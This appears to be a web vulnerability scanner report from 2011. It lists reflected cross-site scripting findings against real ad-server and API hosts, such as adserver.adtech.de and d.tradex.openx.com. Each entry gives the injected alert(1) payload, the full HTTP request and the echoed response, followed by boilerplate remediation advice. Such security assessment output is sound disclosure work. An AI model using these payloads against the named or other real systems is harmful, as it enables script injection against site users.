HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19701
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... !="") { AT_COUNT='' if ('2046906'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599367009;key=key1+key2+key3+key4;nodecode=yes;link=116c3'-alert(1)-'ce519b8c547') AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE2046906+"'))"; AT_TARGET2046906="_self"; } window.AT_ClickFn2046906= function (click) { click=(isN ...[SNIP]...
4.13. http://adserver.adtech.de/addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtech.de
Path:
/addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0d5b"-alert(1)-"4f51d7bed73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=&b0d5b"-alert(1)-"4f51d7bed73=1 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en.aspx Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19731
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... 0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599382601;key=key1+key2+key3+key4;nodecode=yes;link=&b0d5b"-alert(1)-"4f51d7bed73=1") + escape(AT_CLICK); var AT_FLASHVARSSTR= ""; // if use microsite, dont add the first parameter if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink ...[SNIP]...
4.14. http://adserver.adtech.de/addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtech.de
Path:
/addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7beee'-alert(1)-'f8a39a000c8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn%7C3.0%7C512%7C2042949%7C0%7C2384%7CADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=&7beee'-alert(1)-'f8a39a000c8=1 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.manutd.com/en.aspx Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19731
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44b21"-alert(1)-"24010b6fd5a was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn|3.0|512|2042949|0|2384|ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=44b21"-alert(1)-"24010b6fd5a HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19701
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... [0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599803020;key=key1+key2+key3+key4;nodecode=yes;link=44b21"-alert(1)-"24010b6fd5a") + escape(AT_CLICK); var AT_FLASHVARSSTR= ""; // if use microsite, dont add the first parameter if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|9 ...[SNIP]...
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5b2a'-alert(1)-'76580ad7740 was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn|3.0|512|2042949|0|2384|ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=f5b2a'-alert(1)-'76580ad7740 HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19701
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... !="") { AT_COUNT='' if ('2046906'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599805634;key=key1+key2+key3+key4;nodecode=yes;link=f5b2a'-alert(1)-'76580ad7740') AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE2046906+"'))"; AT_TARGET2046906="_self"; } window.AT_ClickFn2046906= function (click) { click=(isN ...[SNIP]...
4.17. http://adserver.adtech.de/addyn|3.0|512|2042949|0|2384|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtech.de
Path:
/addyn|3.0|512|2042949|0|2384|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca286"-alert(1)-"e3c10b470be was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn|3.0|512|2042949|0|2384|ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=&ca286"-alert(1)-"e3c10b470be=1 HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19731
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... 0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|999|2046906|0|2384|AdId=2515525;BnId=38;itime=599813136;key=key1+key2+key3+key4;nodecode=yes;link=&ca286"-alert(1)-"e3c10b470be=1") + escape(AT_CLICK); var AT_FLASHVARSSTR= ""; // if use microsite, dont add the first parameter if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink ...[SNIP]...
4.18. http://adserver.adtech.de/addyn|3.0|512|2042949|0|2384|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://adserver.adtech.de
Path:
/addyn|3.0|512|2042949|0|2384|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8fff1'-alert(1)-'90730b7d240 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /addyn|3.0|512|2042949|0|2384|ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;misc=[timestamp];rdclick=&8fff1'-alert(1)-'90730b7d240=1 HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19731
The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 62f3a<script>alert(1)</script>1d58073aa6e was submitted in the api_key parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload d34b6<script>alert(1)</script>48f0c9a2585 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /jsonp?callback=jsonp1317602099166d34b6<script>alert(1)</script>48f0c9a2585&_=1317602106543 HTTP/1.1 Host: api.wipmania.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.trip.com/?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 03 Oct 2011 00:35:11 GMT Content-Type: application/x-javascript Connection: close Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 198
The value of the func request parameter is copied into the HTML document as plain text between tags. The payload 8dc7c<script>alert(1)</script>a181b15a895 was submitted in the func parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: nginx Date: Mon, 03 Oct 2011 00:01:29 GMT Content-Type: application/x-javascript Connection: close P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 83
The value of the adpos request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b14f"><script>alert(1)</script>63d7f247e9a was submitted in the adpos parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the atype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb5ee"><script>alert(1)</script>a99bc9549b1 was submitted in the atype parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the bidder request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14194"><script>alert(1)</script>1438e1bd2b4 was submitted in the bidder parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the datc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa5ec"><script>alert(1)</script>1085ffe8a15 was submitted in the datc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the dc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b406f"><script>alert(1)</script>02b8bac3890 was submitted in the dc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the dom request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0e1e"><script>alert(1)</script>6db27d1746e was submitted in the dom parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the eid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b611"><script>alert(1)</script>1eedbcf2072 was submitted in the eid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ht request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45475"><script>alert(1)</script>21ae6b0bc46 was submitted in the ht parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ibs request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dd05"><script>alert(1)</script>4ccae8e57d1 was submitted in the ibs parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the poo request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b15f"><script>alert(1)</script>0aaee42b2aa was submitted in the poo parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the sid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4215"><script>alert(1)</script>69873abae82 was submitted in the sid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the sig request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36d27"><script>alert(1)</script>1cc8286ed8d was submitted in the sig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the st request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d371f"><script>alert(1)</script>a5fc9f67176 was submitted in the st parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the stid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b637"><script>alert(1)</script>76dda13d31e was submitted in the stid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3c05"><script>alert(1)</script>f38714b81ab was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the wh request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afd2d"><script>alert(1)</script>60dd599054f was submitted in the wh parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the template request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80641'%3balert(1)//6c9e0c7792f was submitted in the template parameter. This input was echoed as 80641';alert(1)//6c9e0c7792f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:23 GMT Server: Apache P3P: CP="NON DSP COR CUR OUR LEG PHY COM", policyref="http://as00.estara.com/w3c/p3p.xml" Expires: Wed, 11 Nov 1998 11:11:11 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Connection: close Content-Length: 10170 Content-Type: application/x-javascript
var wv_available = true; if (typeof(wv_available_vars) == 'undefined') wv_available_vars = new Array(); wv_available_vars['85669580641';alert(1)//6c9e0c7792f'] = true;
var wv_vars=typeof(wv_vars)=="undefined"?new Array():wv_vars;wv_vars["ui_width"]="430";wv_vars["ui_height"]="378";wv_vars["ui_version"]="UI0001";wv_vars["ui_newwindow"]="yes";wv_vars["ui_ac ...[SNIP]...
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 3f294<script>alert(1)</script>398e6a34688 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload 724b2<script>alert(1)</script>af07be835b7 was submitted in the c10 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c2 request parameter is copied into the HTML document as plain text between tags. The payload 66acc<script>alert(1)</script>97f36e4c3b7 was submitted in the c2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c3 request parameter is copied into the HTML document as plain text between tags. The payload 1371e<script>alert(1)</script>3fbe42d830d was submitted in the c3 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c4 request parameter is copied into the HTML document as plain text between tags. The payload d5d70<script>alert(1)</script>e85dc046e5c was submitted in the c4 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c5 request parameter is copied into the HTML document as plain text between tags. The payload 24b3b<script>alert(1)</script>279d6872fb9 was submitted in the c5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c6 request parameter is copied into the HTML document as plain text between tags. The payload 6e3ec<script>alert(1)</script>d0298376d15 was submitted in the c6 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the c request parameter is copied into the HTML document as plain text between tags. The payload a5007<script>alert(1)</script>25b039ed36e was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the cb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca534</script><script>alert(1)</script>a6853b22006 was submitted in the cb parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /afr.php?refresh=40&zoneid=6511&cb=INSERT_RANDOM_NUMBER_HEREca534</script><script>alert(1)</script>a6853b22006 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OXRB=28_4196; OAID=6f699005174db05207a17138d8473dc0
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:54:23 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc0%5D%5D%3E%3E; expires=Mon, 01-Oct-2012 23:54:23 GMT; path=/ Content-Length: 2791 Connection: close Content-Type: text/html; charset=UTF-8
The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 55a13</script><script>alert(1)</script>3f8ba84e66c was submitted in the loc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
4.49. http://d.tradex.openx.com/afr.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://d.tradex.openx.com
Path:
/afr.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5849</script><script>alert(1)</script>2ba89ba78d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /afr.php?refresh=40&zoneid=6511&cb=INSERT_RANDOM_NUMBER_HERE&c5849</script><script>alert(1)</script>2ba89ba78d=1 HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OXRB=28_4196; OAID=6f699005174db05207a17138d8473dc0
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:55:30 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc0%27; expires=Mon, 01-Oct-2012 23:55:30 GMT; path=/ Content-Length: 2795 Connection: close Content-Type: text/html; charset=UTF-8
The value of the zoneid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 713c9</script><script>alert(1)</script>3b14e1cb0e2 was submitted in the zoneid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /afr.php?refresh=40&zoneid=6511713c9</script><script>alert(1)</script>3b14e1cb0e2&cb=INSERT_RANDOM_NUMBER_HERE HTTP/1.1 Host: d.tradex.openx.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OXRB=28_4196; OAID=6f699005174db05207a17138d8473dc0
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:53:21 GMT Server: Apache X-Powered-By: PHP/5.2.11 Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=6f699005174db05207a17138d8473dc0%5D%5D%3E%3E; expires=Mon, 01-Oct-2012 23:53:21 GMT; path=/ Content-Length: 853 Connection: close Content-Type: text/html; charset=UTF-8
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4765"%3balert(1)//842209825e9 was submitted in the mid parameter. This input was echoed as a4765";alert(1)//842209825e9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e7d70%3balert(1)//b2842205c0b was submitted in the mid parameter. This input was echoed as e7d70;alert(1)//b2842205c0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload ffe58%3balert(1)//d4209f9fb72 was submitted in the mid parameter. This input was echoed as ffe58;alert(1)//d4209f9fb72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98c61"%3balert(1)//bb08c81a782 was submitted in the mid parameter. This input was echoed as 98c61";alert(1)//bb08c81a782 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5158"-alert(1)-"293bd78879f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
